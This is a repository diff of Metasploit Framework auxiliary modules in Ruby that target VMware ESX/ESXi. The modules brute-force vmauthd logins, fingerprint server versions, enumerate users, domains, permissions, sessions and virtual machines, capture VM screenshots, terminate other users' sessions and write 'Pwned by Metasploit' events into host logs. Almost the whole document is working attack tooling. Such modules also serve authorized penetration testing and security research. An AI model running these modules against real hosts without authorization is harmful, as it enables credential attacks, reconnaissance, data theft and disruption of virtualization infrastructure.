||||
print_error "Login Failure on #{datastore['RHOST']}"
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,79 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/vim_soap'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Tag Virtual Machine',
|
||||
'Description' => %Q{
|
||||
This module will log into the Web API of VMWare and
|
||||
'tag' a specified Virtual Machine. It does this by
|
||||
logging a user event with user supplied text},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
|
||||
OptString.new('VM', [true, "The VM to try to Power On"]),
|
||||
OptString.new('MSG', [true, "The message to put in the log", 'Pwned by Metasploit'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
vm_ref = vim_find_vm_by_name(datastore['VM'])
|
||||
case vm_ref
|
||||
when String
|
||||
result = vim_log_event_vm(vm_ref, datastore['MSG'])
|
||||
case result
|
||||
when :noresponse
|
||||
print_error "Recieved no Response"
|
||||
when :expired
|
||||
print_error "The login session appears to have expired"
|
||||
when :error
|
||||
print_error "An error occured"
|
||||
else
|
||||
print_good "User Event logged"
|
||||
end
|
||||
when :noresponse
|
||||
print_error "Recieved no Response"
|
||||
when :expired
|
||||
print_error "The login session appears to have expired"
|
||||
when :error
|
||||
print_error @vim_soap_error
|
||||
end
|
||||
else
|
||||
print_error "Login Failure on #{datastore['RHOST']}"
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,66 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/vim_soap'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Terminate ESX Login Sessions',
|
||||
'Description' => %Q{
|
||||
This module will log into the Web API of VMWare and try to terminate
|
||||
user login sessions as specified by the session keys.},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
|
||||
OptString.new('KEYS', [true, "The session key to terminate"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
Shellwords.split(datastore['KEYS']).each do |key|
|
||||
result = vim_terminate_session(key)
|
||||
case result
|
||||
when :notfound
|
||||
print_error "The specified Session was not found. Check your key: #{key}"
|
||||
when :success
|
||||
print_good "The supplied session was terminated successfully: #{key}"
|
||||
when :error
|
||||
print_error "There was an error encountered terminating: #{key}"
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error "Login Failure on #{datastore['RHOST']}"
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,99 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/vim_soap'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare ESX/ESXi Fingerprint Scanner',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %Q{
|
||||
This module accesses the web API interfaces for VMware ESX/ESXi servers
|
||||
and attempts to identify version information for that server.},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options([Opt::RPORT(443)], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
soap_data =
|
||||
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<env:Body>
|
||||
<RetrieveServiceContent xmlns="urn:vim25">
|
||||
<_this type="ServiceInstance">ServiceInstance</_this>
|
||||
</RetrieveServiceContent>
|
||||
</env:Body>
|
||||
</env:Envelope>|
|
||||
datastore['URI'] ||= "/sdk"
|
||||
res = nil
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore['URI'],
|
||||
'method' => 'POST',
|
||||
'agent' => 'VMware VI Client',
|
||||
'data' => soap_data
|
||||
}, 25)
|
||||
rescue ::Rex::ConnectionError => e
|
||||
vprint_error("http://#{ip}:#{rport}#{datastore['URI']} - #{e}")
|
||||
return false
|
||||
rescue
|
||||
vprint_error("Skipping #{ip} due to error - #{e}")
|
||||
return false
|
||||
end
|
||||
fingerprint_vmware(ip,res)
|
||||
end
|
||||
|
||||
# Takes an ip address and a response, and just checks the response
|
||||
# to pull out version info. If it's ESX, report the OS as ESX (since
|
||||
# it's a hypervisor deal then). Otherwise, just report the service.
|
||||
# XXX: report_service is stomping on the report_host OS. This is le suck.
|
||||
def fingerprint_vmware(ip,res)
|
||||
unless res
|
||||
vprint_error("http://#{ip}:#{rport} - No response")
|
||||
return false
|
||||
end
|
||||
return false unless res.body.include?('<vendor>VMware, Inc.</vendor>')
|
||||
os_match = res.body.match(/<name>([\w\s]+)<\/name>/)
|
||||
ver_match = res.body.match(/<version>([\w\s\.]+)<\/version>/)
|
||||
build_match = res.body.match(/<build>([\w\s\.\-]+)<\/build>/)
|
||||
full_match = res.body.match(/<fullName>([\w\s\.\-]+)<\/fullName>/)
|
||||
this_host = nil
|
||||
if full_match
|
||||
print_good "Identified #{full_match[1]}"
|
||||
report_service(:host => (this_host || ip), :port => rport, :proto => 'tcp', :name => 'https', :info => full_match[1])
|
||||
end
|
||||
if os_match and ver_match and build_match
|
||||
if os_match[1] =~ /ESX/ or os_match[1] =~ /vCenter/
|
||||
this_host = report_host( :host => ip, :os_name => os_match[1], :os_flavor => ver_match[1], :os_sp => "Build #{build_match[1]}" )
|
||||
end
|
||||
return true
|
||||
else
|
||||
vprint_error("http://#{ip}:#{rport} - Could not identify as VMWare")
|
||||
return false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -24,9 +24,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(
|
||||
'Name' => 'VMWare Authentication Daemon Login Scanner',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module will test vmauthd logins on a range of machines and
|
||||
report successful logins.
|
||||
'Description' => %q{This module will test vmauthd logins on a range of machines and
|
||||
report successful logins.
|
||||
},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'References' =>
|
||||
|
@ -39,27 +38,32 @@ class Metasploit3 < Msf::Auxiliary
|
|||
register_options([Opt::RPORT(902)])
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
connect
|
||||
rescue
|
||||
print_error "Could not connect to #{ip}:#{datastore['RPORT']}"
|
||||
|
||||
connect rescue nil
|
||||
if not self.sock
|
||||
print_error "#{rhost}:#{rport} Could not connect to vmauthd"
|
||||
return
|
||||
end
|
||||
|
||||
banner = sock.get_once.chomp
|
||||
print_status "Banner: #{banner}"
|
||||
banner = sock.get_once(-1, 10)
|
||||
if not banner
|
||||
print_error "#{rhost}:#{rport} No banner received from vmauthd"
|
||||
return
|
||||
end
|
||||
|
||||
banner = banner.strip
|
||||
print_status "#{rhost}:#{rport} Banner: #{banner}"
|
||||
|
||||
unless banner.include? "VMware Authentication Daemon"
|
||||
print_error "This does not appear to be a vmauthd service"
|
||||
unless banner =~ /VMware Authentication Daemon/
|
||||
print_error "#{rhost}:#{rport} This does not appear to be a vmauthd service"
|
||||
return
|
||||
end
|
||||
|
||||
if banner.include? "SSL"
|
||||
print_status("Switching to SSL connection...")
|
||||
if banner =~ /SSL/
|
||||
print_status("#{rhost}:#{rport} Switching to SSL connection...")
|
||||
swap_sock_plain_to_ssl
|
||||
end
|
||||
|
||||
|
@ -67,9 +71,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
result = do_login(user, pass)
|
||||
case result
|
||||
when :failed
|
||||
print_error("#{ip}:#{datastore['RPORT']} vmauthd login FAILED - #{user}:#{pass}")
|
||||
print_error("#{rhost}:#{rport} vmauthd login FAILED - #{user}:#{pass}")
|
||||
when :success
|
||||
print_good("#{ip}:#{datastore['RPORT']} vmauthd login SUCCESS - #{user}:#{pass}")
|
||||
print_good("#{rhost}:#{rport} vmauthd login SUCCESS - #{user}:#{pass}")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
|
@ -81,9 +85,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
return if datastore['STOP_ON_SUCCESS']
|
||||
else
|
||||
print_error("#{ip}:#{datastore['RPORT']} #{res}")
|
||||
print_error("#{rhost}:#{rport} Error: #{res}")
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
@ -91,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
nsock.put("USER #{user}\r\n")
|
||||
res = nsock.get_once
|
||||
unless res.start_with? "331"
|
||||
ret_msg = "received unexpected reply to the USER command: #{res}"
|
||||
ret_msg = "Unexpected reply to the USER command: #{res}"
|
||||
return ret_msg
|
||||
end
|
||||
nsock.put("PASS #{pass}\r\n")
|
||||
|
@ -101,7 +111,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
elsif res.start_with? "230"
|
||||
return :success
|
||||
else
|
||||
ret_msg = "received unexpected reply to the PASS command: #{res}"
|
||||
ret_msg = "Unexpected reply to the PASS command: #{res}"
|
||||
return ret_msg
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,135 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
@@cached_rsa_key = nil
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Authentication Daemon Version Scanner',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module will identify information about a host through the
|
||||
vmauthd service.
|
||||
},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>', 'hdm'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options([Opt::RPORT(902)])
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
|
||||
connect rescue nil
|
||||
if not self.sock
|
||||
return
|
||||
end
|
||||
|
||||
banner = sock.get_once(-1, 10)
|
||||
if not banner
|
||||
print_error "#{rhost}:#{rport} No banner received from vmauthd"
|
||||
return
|
||||
end
|
||||
|
||||
banner = banner.strip
|
||||
|
||||
unless banner =~ /VMware Authentication Daemon/
|
||||
print_error "#{rhost}:#{rport} This does not appear to be a vmauthd service"
|
||||
return
|
||||
end
|
||||
|
||||
cert = nil
|
||||
|
||||
if banner =~ /SSL/
|
||||
print_status("#{rhost}:#{rport} Switching to SSL connection...")
|
||||
swap_sock_plain_to_ssl
|
||||
cert = self.sock.peer_cert
|
||||
end
|
||||
|
||||
if cert
|
||||
banner << " Certificate:#{cert.subject.to_s}"
|
||||
end
|
||||
|
||||
print_status "#{rhost}:#{rport} Banner: #{banner}"
|
||||
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'vmauthd',
|
||||
:info => banner,
|
||||
:proto => 'tcp'
|
||||
)
|
||||
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def do_login(user, pass, nsock=self.sock)
|
||||
nsock.put("USER #{user}\r\n")
|
||||
res = nsock.get_once
|
||||
unless res.start_with? "331"
|
||||
ret_msg = "Unexpected reply to the USER command: #{res}"
|
||||
return ret_msg
|
||||
end
|
||||
nsock.put("PASS #{pass}\r\n")
|
||||
res = nsock.get_once
|
||||
if res.start_with? "530"
|
||||
return :failed
|
||||
elsif res.start_with? "230"
|
||||
return :success
|
||||
else
|
||||
ret_msg = "Unexpected reply to the PASS command: #{res}"
|
||||
return ret_msg
|
||||
end
|
||||
end
|
||||
|
||||
def swap_sock_plain_to_ssl(nsock=self.sock)
|
||||
ctx = generate_ssl_context()
|
||||
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
|
||||
|
||||
ssl.connect
|
||||
|
||||
nsock.extend(Rex::Socket::SslTcp)
|
||||
nsock.sslsock = ssl
|
||||
nsock.sslctx = ctx
|
||||
end
|
||||
|
||||
def generate_ssl_context
|
||||
ctx = OpenSSL::SSL::SSLContext.new(:SSLv3)
|
||||
@@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){ }
|
||||
|
||||
ctx.key = @@cached_rsa_key
|
||||
|
||||
ctx.session_id_context = Rex::Text.rand_text(16)
|
||||
|
||||
return ctx
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,98 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/ntlm/message'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Enumerate Permissions',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %Q{
|
||||
This module will log into the Web API of VMWare and try to enumerate
|
||||
all the user/group permissions. Unlike enum suers this is only
|
||||
users and groups that specifically have permissions defined within
|
||||
the VMware product},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
role_map = {}
|
||||
esx_roles = vim_get_roles
|
||||
case esx_roles
|
||||
when :noresponse
|
||||
print_error "Recieved no Response from #{ip}"
|
||||
when :expired
|
||||
print_error "The login session appears to have expired on #{ip}"
|
||||
when :error
|
||||
print_error "An error occured while trying to enumerate the roles on #{ip}"
|
||||
else
|
||||
esx_roles.each do |role|
|
||||
role_map[role['roleId']] = {
|
||||
"name" => role['name'],
|
||||
"system" => role['system'],
|
||||
"summary" => role['info']['summary']
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
esx_permissions = vim_get_all_permissions
|
||||
case esx_permissions
|
||||
when :noresponse
|
||||
print_error "Recieved no Response from #{ip}"
|
||||
when :expired
|
||||
print_error "The login session appears to have expired on #{ip}"
|
||||
when :error
|
||||
print_error "An error occured while trying to enumerate the permissions on #{ip}"
|
||||
else
|
||||
tmp_perms = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Permissions for VMWare #{ip}",
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Name', 'IsAGroup', 'Role', 'Role Summary']
|
||||
)
|
||||
esx_permissions.each do |perm|
|
||||
role_name = role_map[perm['roleId']]['name']
|
||||
role_summary = role_map[perm['roleId']]['summary']
|
||||
tmp_perms << [perm['principal'], perm['group'], role_name , role_summary]
|
||||
end
|
||||
print_good tmp_perms.to_s
|
||||
store_loot('host.vmware.permissions', "text/plain", datastore['RHOST'], tmp_perms.to_csv , "#{datastore['RHOST']}_esx_permissions.txt", "VMWare ESX Permissions")
|
||||
end
|
||||
else
|
||||
print_error "Login Failure on #{ip}"
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,80 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/ntlm/message'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Enumerate Active Sessions',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %Q{
|
||||
This module will log into the Web API of VMWare and try to enumerate
|
||||
all the login sessions.},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
vim_sessions = vim_get_session_list
|
||||
case vim_sessions
|
||||
when :noresponse
|
||||
print_error "Connection Error - Recieved No Reply from #{ip}"
|
||||
when :error
|
||||
print_error "An error has occured"
|
||||
when :expired
|
||||
print_error "The Session is no longer Authenticated"
|
||||
else
|
||||
output = ''
|
||||
vim_sessions.each do |vsession|
|
||||
tmp_line = "Name: #{vsession['fullName']} \n\t"
|
||||
tmp_line << "Active: #{vim_session_is_active(vsession['key'],vsession['userName'])} \n\t"
|
||||
tmp_line << "Username: #{vsession['userName']}\n\t"
|
||||
tmp_line << "Session Key: #{vsession['key']}\n\t"
|
||||
tmp_line << "Locale: #{vsession['locale']}\n\t"
|
||||
tmp_line << "Login Time: #{vsession['loginTime']}\n\t"
|
||||
tmp_line << "Last Active Time: #{vsession['lastActiveTime']}\n\n"
|
||||
print_good tmp_line
|
||||
output << tmp_line
|
||||
end
|
||||
unless output.empty?
|
||||
store_loot("host.vmware.sessions", "text/plain", datastore['RHOST'], output, "vmware_sessions.txt", "Login Sessions for VMware")
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error "Login Failure on #{ip}"
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,140 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/ntlm/message'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Enumerate User Accounts',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %Q{
|
||||
This module will log into the Web API of VMWare and try to enumerate
|
||||
all the user accounts. If the VMware instance is connected to one or
|
||||
more domains, it will try to enumerate domain users as well.},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
#Get local Users and Groups
|
||||
user_list = vim_get_user_list(nil)
|
||||
tmp_users = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Users for server #{ip}",
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Name', 'Description']
|
||||
)
|
||||
tmp_groups = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Groups for server #{ip}",
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Name', 'Description']
|
||||
)
|
||||
unless user_list.nil?
|
||||
case user_list
|
||||
when :noresponse
|
||||
print_error "Recieved no Response from #{ip}"
|
||||
when :expired
|
||||
print_error "The login session appears to have expired on #{ip}"
|
||||
when :error
|
||||
print_error "An error occured while trying to enumerate the users for #{domain} on #{ip}"
|
||||
else
|
||||
user_list.each do |obj|
|
||||
if obj['group'] == 'true'
|
||||
tmp_groups << [obj['principal'], obj['fullName']]
|
||||
else
|
||||
tmp_users << [obj['principal'], obj['fullName']]
|
||||
end
|
||||
end
|
||||
print_good tmp_groups.to_s
|
||||
store_loot('host.vmware.groups', "text/plain", datastore['RHOST'], tmp_groups.to_csv , "#{datastore['RHOST']}_esx_groups.txt", "VMWare ESX User Groups")
|
||||
print_good tmp_users.to_s
|
||||
store_loot('host.vmware.users', "text/plain", datastore['RHOST'], tmp_users.to_csv , "#{datastore['RHOST']}_esx_users.txt", "VMWare ESX Users")
|
||||
end
|
||||
end
|
||||
|
||||
#Enumerate Domains the Server is connected to
|
||||
esx_domains = vim_get_domains
|
||||
case esx_domains
|
||||
when :noresponse
|
||||
print_error "Recieved no Response from #{ip}"
|
||||
when :expired
|
||||
print_error "The login session appears to have expired on #{ip}"
|
||||
when :error
|
||||
print_error "An error occured while trying to enumerate the domains on #{ip}"
|
||||
else
|
||||
#Enumerate Domain Users and Groups
|
||||
esx_domains.each do |domain|
|
||||
tmp_dusers = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Users for domain #{domain}",
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Name', 'Description']
|
||||
)
|
||||
|
||||
tmp_dgroups = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Groups for domain #{domain}",
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Name', 'Description']
|
||||
)
|
||||
|
||||
user_list = vim_get_user_list(domain)
|
||||
case user_list
|
||||
when nil
|
||||
next
|
||||
when :noresponse
|
||||
print_error "Recieved no Response from #{ip}"
|
||||
when :expired
|
||||
print_error "The login session appears to have expired on #{ip}"
|
||||
when :error
|
||||
print_error "An error occured while trying to enumerate the users for #{domain} on #{ip}"
|
||||
else
|
||||
user_list.each do |obj|
|
||||
if obj['group'] == 'true'
|
||||
tmp_dgroups << [obj['principal'], obj['fullName']]
|
||||
else
|
||||
tmp_dusers << [obj['principal'], obj['fullName']]
|
||||
end
|
||||
end
|
||||
print_good tmp_dgroups.to_s
|
||||
store_loot('domain.groups', "text/plain", datastore['RHOST'], tmp_dgroups.to_csv , "#{domain}_esx_groups.txt", "VMWare ESX #{domain} Domain User Groups")
|
||||
print_good tmp_dusers.to_s
|
||||
store_loot('domain.users', "text/plain", datastore['RHOST'], tmp_dgroups.to_csv , "#{domain}_esx_users.txt", "VMWare ESX #{domain} Domain Users")
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error "Login Failure on #{ip}"
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,90 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/vim_soap'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Enumerate Virtual Machines',
|
||||
'Description' => %Q{
|
||||
This module attempts to discover virtual machines on any VMWare instance
|
||||
running the web interface. This would include ESX/ESXi and VMWare Server.},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
|
||||
OptBool.new('SCREENSHOT', [true, "Wheter or not to try to take a screenshot", true])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
virtual_machines = vim_get_vms
|
||||
virtual_machines.each do |vm|
|
||||
print_good YAML.dump(vm)
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:type => "vmware.esx.vm",
|
||||
:data => vm,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:update => :unique_data
|
||||
)
|
||||
next unless datastore['SCREENSHOT'] and vm['runtime']['powerState'] == 'poweredOn'
|
||||
print_status "Attempting to take screenshot of #{vm['name']}...."
|
||||
screenshot = vim_take_screenshot(vm, datastore['USERNAME'], datastore['PASSWORD'] )
|
||||
case screenshot
|
||||
when :error
|
||||
print_error "Screenshot failed"
|
||||
next
|
||||
when :expired
|
||||
vim_do_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
retry_result = vim_take_screenshot(vm, datastore['USERNAME'], datastore['PASSWORD'] )
|
||||
if retry_result == :error or retry_result == :expired
|
||||
print_error "Screenshot failed"
|
||||
else
|
||||
ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], retry_result, "#{vm['name']}_screenshot.png", "Screenshot of VM #{vm['name']}")
|
||||
print_good "Screenshot Saved to #{ss_path}"
|
||||
end
|
||||
else
|
||||
ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], screenshot, "screenshot.png", "Screenshot of VM #{vm['name']}")
|
||||
print_good "Screenshot Saved to #{ss_path}"
|
||||
end
|
||||
end
|
||||
store_loot('host.vmware.vms', "text/plain", datastore['RHOST'], YAML.dump(virtual_machines) , "#{datastore['RHOST']}_esx_vms.txt", "VMWare ESX Virtual Machines")
|
||||
else
|
||||
print_error "Login Failure on #{ip}"
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
|
